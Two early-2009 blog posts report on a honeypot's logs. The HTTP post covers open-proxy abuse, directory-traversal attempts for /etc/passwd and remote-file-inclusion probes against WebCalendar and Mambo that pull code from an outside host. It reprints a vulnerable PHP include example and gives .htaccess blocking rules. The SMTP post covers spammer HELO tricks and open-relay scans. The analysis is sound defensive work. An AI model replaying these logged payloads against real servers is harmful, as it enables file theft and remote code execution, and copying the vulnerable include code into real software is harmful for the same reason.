HTTP attacks

23 01 2009

In this post I will talk about the HTTP results that I collected from the experience with one honeypot.
As you may know, I’ve been putting one honeypot running for 5 weeks. I’ve previously talked about SMTP and SSH attacks, now is the time for HTTP. This service (port 80) is by far the most fustigated service in the honeypot. And make sense, in this port we can have a lot of Web services with a lot of exploitable code running…

This chart represents the number of hit’s in the port 80, that our honeypot had during his activity:

Open Proxy’s

An open proxy is like an Open mail relay, described in SMTP attacks. Anyone in the internet can use this systems to reduce their using of the bandwidth. For example, if an open proxy is located in your country, and if your internet provider only allow you to access web pages of your country, you can use this systems to visit outside pages.
The process is quite simple, if you are under a proxy and you want a web page, the proxy go get them for you and send that to you. All the traffic and effort was made by the proxy. Is just like a forwarding service.

Here at the University we have one closed proxy, and that is great, because a lot of pages are in cache, so even we have a 1Gb connection, the proxy don’t need to get the page we want, because have it in the cache.

webcollage/1.135a

The webcollage is a program that seeks the Internet images and composes them in a window. Some have described as a pop culture program. This program makes random web searches and extract the images of the results.

There was a host that has make some hit’s in our honeypot’s, as we can see in the following extract from the file web.log:

--MARK--,"Mon Dec 15 23:09:00 WET 2008","IIS/HTTP","92.240.68.152","192.168.1.50",56886,80,
"GET http://www.morgangirl.com/pics/land/land1.jpg HTTP/1.0
User-Agent: webcollage/1.135a
Referer: http://random.yahoo.com/fast/ryl
Host: www.morgangirl.com
",
--ENDMARK--

The interesting here is that this agent is trying to get an image using our honeypot as a open proxy. The possibilities is that our honeypot as been seen by a proxy scanner in the past that have add our honeypot to an open proxy list.

Solution

We can do something, if this had happened for real. We can block the IP that made the request (92.240.68.152) to avoid future requests by this host. But the problem is not from this person who is using a program to get the images. The problem here is that we are targeted as an open proxy, and probably in the future we will be asked again to get some file.

A more comprehensive solution is to block all the requests made from this program. Adding this lines to the file “.htaccess” in the folder.

# Start of .htaccess change.
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^webcollage
RewriteRule ^.*$ - [F]
# End of .htaccess change.

This won’t prevent all the attempts to use our server as open proxy, but will prevent all the requests made by this program.

Directory traversal

A directory traversal attacks intend to exploit insufficient security validation of user-supplied input file names. The main objective of this attack is gain access to a computer file that is not intended to be accessible.

I will give you the Wikipedia example:
Imagine you have this PHP script running in your server, and this page have the name vulnerable.php:

<?php
$template = 'blue.php';
if ( isset( $_COOKIE['TEMPLATE'] ) )
   $template = $_COOKIE['TEMPLATE'];
include ( "/home/users/phpguru/templates/" . $template );
?>

If someone send you this request:

GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd

Your server will return your /etc/passwd file, in the response:

HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh 
daemon:*:1:1::/tmp: 
phpguru:f8fk3j1OIf31.:182:100:Admin:/home/users/phpguru/:/bin/csh

We have seen a lot of variations of this attack, as will show you after.

On 4 January 2009 dozens of hit’s were made from Lelystad, The Netherlands. These hit’s were performed to verify if our HTTP server allow directory traversal, to get the file /etc/passwd by the attacker.

In this case, the attacker wanted to acquire the /etc/passwd to perhaps have a list of the users that can access to the system. To possibly get access through any of them.

This type of attack is usually done not asking directly for the file through its conventional path, but in an encrypted way (using exa characters). With that variations it is more unlikely that the application perform validations on what the attacker wants.
Unfortunately our honeypot, not saved the log file’s during the day January 1 until 4, so we only can see in the other’s log’s the activity performed by this host. We cannot show the number of hit’s of this IP in day 4.
In the following listings I will show the pairs of command that the attacker wanted to do and the package that came to our honeypot.

GET ../../../../../../../../../../etc/passwd HTTP/1.1
--MARK--,"Sun Jan  4 05:20:57 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59706,80,
"GET %2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1
User-Agent: Nmap NSE
Connection: close
Host: 82.155.127.187
",
--ENDMARK--
GET .../../../../../../../../../../etc/passwd HTTP/1.1
--MARK--,"Sun Jan  4 05:20:58 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59711,80,
"GET %2E%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1
User-Agent: Nmap NSE
Connection: close
Host: 82.155.127.187
",
--ENDMARK--
GET ../../../../../../../../../../etc/passwd HTTP/1.1
--MARK--,"Sun Jan  4 05:21:02 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59727,80,
"GET %2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2F%2E%2E%5C%2Fetc%5C%2Fpasswd HTTP/1.1
User-Agent: Nmap NSE
Connection: close
Host: 82.155.127.187
",
--ENDMARK--
GET ....................etcpasswd HTTP/1.1
--MARK--,"Sun Jan  4 05:21:04 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59740,80,
"GET %2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5C%2E%2E%5Cetc%5Cpasswd HTTP/1.1
User-Agent: Nmap NSE
Connection: close
Host: 82.155.127.187
",
--ENDMARK--
GET //etc/passwd HTTP/1.1
--MARK--,"Sun Jan  4 05:20:59 WET 2009","IIS/HTTP","82.173.198.254","192.168.1.50",59700,80,
"GET %2F%2Fetc%2Fpasswd HTTP/1.1
User-Agent: Nmap NSE
Connection: close
Host: 82.155.127.187
",
--ENDMARK--

Conclusion

Possibly an attacker trying to do this in a real server would get the file he wanted, but our honeypot was not prepared to
respond to such attacks, and it only responds with a message 302:

HTTP/1.1 302 Object moved
Server: Microsoft-IIS/5.0
P3P: CP='ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI'
Date: Sab Jan 10 21:46:17 WET 2009
Content-Type: text/html
Connection: close
Accept-Ranges: bytes
Set-Cookie: isHuman=Y; path=/
Set-Cookie: visits=1; expires=; path=/
Set-Cookie: ASPSESSIONIDCBBABCDC=DEADBEDFBDFCCEBBBA; path=/
Expires: Sab Jan 10 21:46:17 WET 2009
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="http://bps-pc9.local.mynet/">here</a>.</body>

We can conclude that the requests that were sent to our honeypot mean that the attacker was using the NSE, which means nmap scripting engine. This is a tool that comes with nmap.
Allows the user to write scripts to automate various tasks in the network.

Here we can see the script that was used to perform this attack.

Morfeus Fucking Scanner (MFS)

MFS is a scanner that search web pages with PHP vulnerabilities. This scanner has a large number of tests for known vulnerabilities in PHP scripts. Then we show some of those applications that MFS search for vulnerabilities.

WebCalendar

The WebCalendar is a web calendar that can be used by one or more users, it is possible to create groups with calendars and it supports a wide range of databases.
This application uses several PHP files, one of those id send_reminder.php that contained serious vulnerabilities, one of which allowed the inclusion of remote files through variable “includedir” that was not validated. So anyone can add whatever he want on this page.

We found that this vulnerability only affects WebCalendar version 1.0.4, this application has now in version 1.2.
While our honeypot not have this application installed, although there were made some attempts to attacks on this application, two of them over the vulnerability of this file, as the log show’s.

--MARK--,"Wed Dec 24 16:07:29 WET 2008","IIS/HTTP","74.52.10.34","192.168.1.50",54941,80,
"GET /webcalendar/tools/send_reminders.php?noSet=0&includedir=http://217.20.172.129/twiki/a.gif?/ HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Morfeus Fucking Scanner
Host: 82.155.248.190
Connection: Close
",
--ENDMARK--
--MARK--,"Wed Dec 24 16:07:30 WET 2008","IIS/HTTP","74.52.10.34","192.168.1.50",55003,80,
"GET /calendar/tools/send_reminders.php?noSet=0&includedir=http://217.20.172.129/twiki/a.gif?/ HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Morfeus Fucking Scanner
Host: 82.155.248.190
Connection: Close
",
--ENDMARK--

This scanner (MFS) scans a list of hosts and attempts to link up several times until the server be attacked.
In our case this type of request on port 80 only returns a 404 error.

The gif file that the attacker wants to include just print a message:

echo (" Morfeus hacked you ");

Conclusion

Although this file has been fixed in this application, the truth is that this scanner continues to include this as a test. The reason for this is that still have many applications with this vulnerability exposed on the Internet.

Mambo/Joomla

The CMS Mambo is very popular and used worldwide. The Joomla is a derivative of the first one. In this applications have been discovered many bugs, MFS seems to use some of them. We saw one in particular:

--MARK--,"Wed Dec 24 16:07:34 WET 2008","IIS/HTTP","74.52.10.34","192.168.1.50",55438,80,
"GET /shop/index.php?option=com_registration&task=register//boutique/index2.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://217.20.172.129/twiki/a.gif?/ HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Morfeus Fucking Scanner
Host: 82.155.248.190
Connection: Close
",
--ENDMARK--

The attacker wants to set the variable mosConfig_absolute_path from the file index.php with the typical message that has already explained above. What we find is that the input passed to this file in not validated before being used to include files.
This system can be victim of one attack by allowing run code from any source without ever make payable checks.

Prevent attacks from MFS

One way to block this type of attacks from MFS is to add the following lines of code in file. “htaccess” in the folder of the website.

# Start of .htaccess change.
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^Morfeus
RewriteRule ^.*$ - [F]
# End of .htaccess change.

Outroduction

Note that the “.htaccess” solutions that I gave only works for HTTP servers that use Apache. Users of IIS can use the IsapiRewrite tool.

References

Advertisements




SMTP Attacks

11 01 2009

This post is part of the results discovered when the honeypot was running. This port concerns to SMTP connections to the honeypot.

SMTP

SMTP stands for Simple Mail Transfer Protocol, defined in RFC 2821, it is a standard protocol that allows transmission e-mails through IP networks.
Typically the SMTP is used on the server side to send and receive e-mail messages while on the client side is only used to send e-mails. To receive clients use the protocol POP3 or Internet Message Access Protocol (IMAP).

In the following chart I will show the activity that were on our honeypot, throw port 25, while our honeypot was on:

SMTP & Bad SMTP configuration

The e-mail client (SMTP client) connects to port 25 of the e-mail server, this is the default SMTP port, and sends an EHLO to the server indicating his identity. The server opens the session and provide a list of the extensions it supports in a machine-readable format.

S: 220 bps-pc9.local.mynet Microsoft ESMTP MAIL Service, Version: 5.0.2195.5329 ready at  Dom Jan 11 19:32:00 WET 2009
C: EHLO localhost
S: 250-bps-pc9.local.mynet Hello [1]
S: 250-TURN
S: 250-ATRN
S: 250-SIZE
S: 250-ETRN
S: 250-PIPELINING
S: 250-DSN
S: 250-ENHANCEDSTATUSCODES
S: 250-8bitmime
S: 250-BINARYMIME
S: 250-CHUNKING
S: 250-VRFY
S: 250-X-EXPS GSSAPI NTLM LOGIN
S: 250-X-EXPS=LOGIN
S: 250-AUTH GSSAPI NTLM LOGIN
S: 250-AUTH=LOGIN
S: 250-X-LINK2STATE
S: 250-XEXCH50}
S: 250 OK

The 250 code is the best message from all available and means: Requested action taken and completed. In fact this EHLO message is an extension to SMTP (ESMTP), according to RFC1869. Because so, some old servers may not support EHLO command, and in that case the client must use HELO.

Spammers can pass throw unchecked HELO commands, hitting non fully qualified domain names to identify herself.
As we have seen in the honeypot log files, many attempts from spammers to do that:

EHLO user-3i39rqqo1r
...
EHLO premier-ksxhhv6
...
EHLO mta101
...
EHLO msg-g09pmirpcam

We can reduce this attempts just requiring the identity between […], and configuring SMTP server to check that.
Another idea is to check the HELO/EHLO argument and verify if it does not resolve in DNS. There are lot more kind of validations to resolve this problem, but unfortunately seems that a lot of SMTP administrators simply ignore section 3.6 of RFC2821.
Of course we don’t implement that in our honeypot, because we want to attract all kind of people to interact with our system.

Here is some statistics from identification attempts to the SMTP server in our honeypot:

And here you can see the preferred command from attackers:

So, we can really do something to stop spreading spamm from the networks…

Continuing with explanation of SMTP: now, if we want to send an e-mail, we must start with MAIL FROM: and the the e-mail address of the sender, between brackets. In the example below I do not use brackets because of HTML, but in SMTP server you will need.

C: MAIL FROM: from@domain.com
S: 250 from@domain.com... Sender ok 

This command tells the server that a new mail is starting to be done, and the server reset all its state tables and buffers, from previous e-mails. If SMTP accept then it return the code 250. SMTP do a validation here, to verify is the person who is using the service can send mail’s using e-mail address from@domain.com.

Now the e-mail client can give the address of the recipient of the message. The command to perform this action, RCPT TO:

C: RCPT TO: to@domain.com
S: 250 to@domain.com... Recipient ok (will queue)

The server will save the mail locally, and we are ready to write the body of our e-mail.
To start writing the message we hit:

C: DATA
S: 354 Start mail input; end with CRLF.CRLF
C: From: from@domain.com
C: To: realTO@domain.com
C: Subject: BC_82.155.126.2
C: Date: Sun, 07 Dec 08 19:24:09 GMT
C: Hello, I'm a spammer!

Yes, in fact you can put a completely different e-mail and name from the one you put in RCPT TO.
When the message is finished, you hit CRLF.CRLF and you are done, the e-mail will be added to the queue, and will be sent.

The problem begins when the SMTP server don’t verify the command FROM parameter, that is what is called an Open Mail Relay.

Open Relay Scanners

The SMTP servers support a lot of configurations, just like other servers. We say that an open mail relay is an SMTP server configuration that allow anyone on the Internet to send e-mail. This e-mails could be sent to known and not known users from the system. This used to be the default configuration of SMTP servers. With the emergence of spammers these systems began to appear on blacklists of other servers.
But the truth is that until today, some SMTP servers are configured this way. Allowing spreading of spamm and worms. Then you have John Gilmore who run a Open mail relay since the 90’s, and is blacklisted in a lot of servers.

We have find a lot of hit’s from open relay scanners in our honeypot:

HELO 82.155.248.223
MAIL FROM:
RCPT TO:
DATA
Subject: Super webscan open relay check succeded, hostname = 82.155.248.223
HELO 82.155.248.223
MAIL FROM: 
RCPT TO:
DATA
Subject: Super webscan open relay check succeded, hostname = 82.155.248.223
HELO 82.155.248.223
MAIL FROM:
RCPT TO:
DATA
Subject: Super webscan open relay check succeded, hostname = 82.155.248.223

We found also that all the open mail relay attacks where from cities in Taiwan, this country seems to have a big activity on what concerns to spamm, like ProjectHoneyPot page shows:

118.165.91.55 - Taipei
219.86.32.1 - Hualien
124.11.193.219 - Taipei
124.11.192.173 - Taipei
114.44.42.34 - Taipei
114.44.43.87 - Taipei

I have checked, and all of them are blacklisted in international DNSBLs.
By the way, all of them use Windows XP SP1, if that matters…

With an open mail relay machine active, spammers can send a lot of spamm throw that machine to their targets, distributing the cost of sending spamm to various computers.

Future Work

For now that’s all the stuff we find in our honeypot logs related to the SMTP server.
Stay tuned, for further news.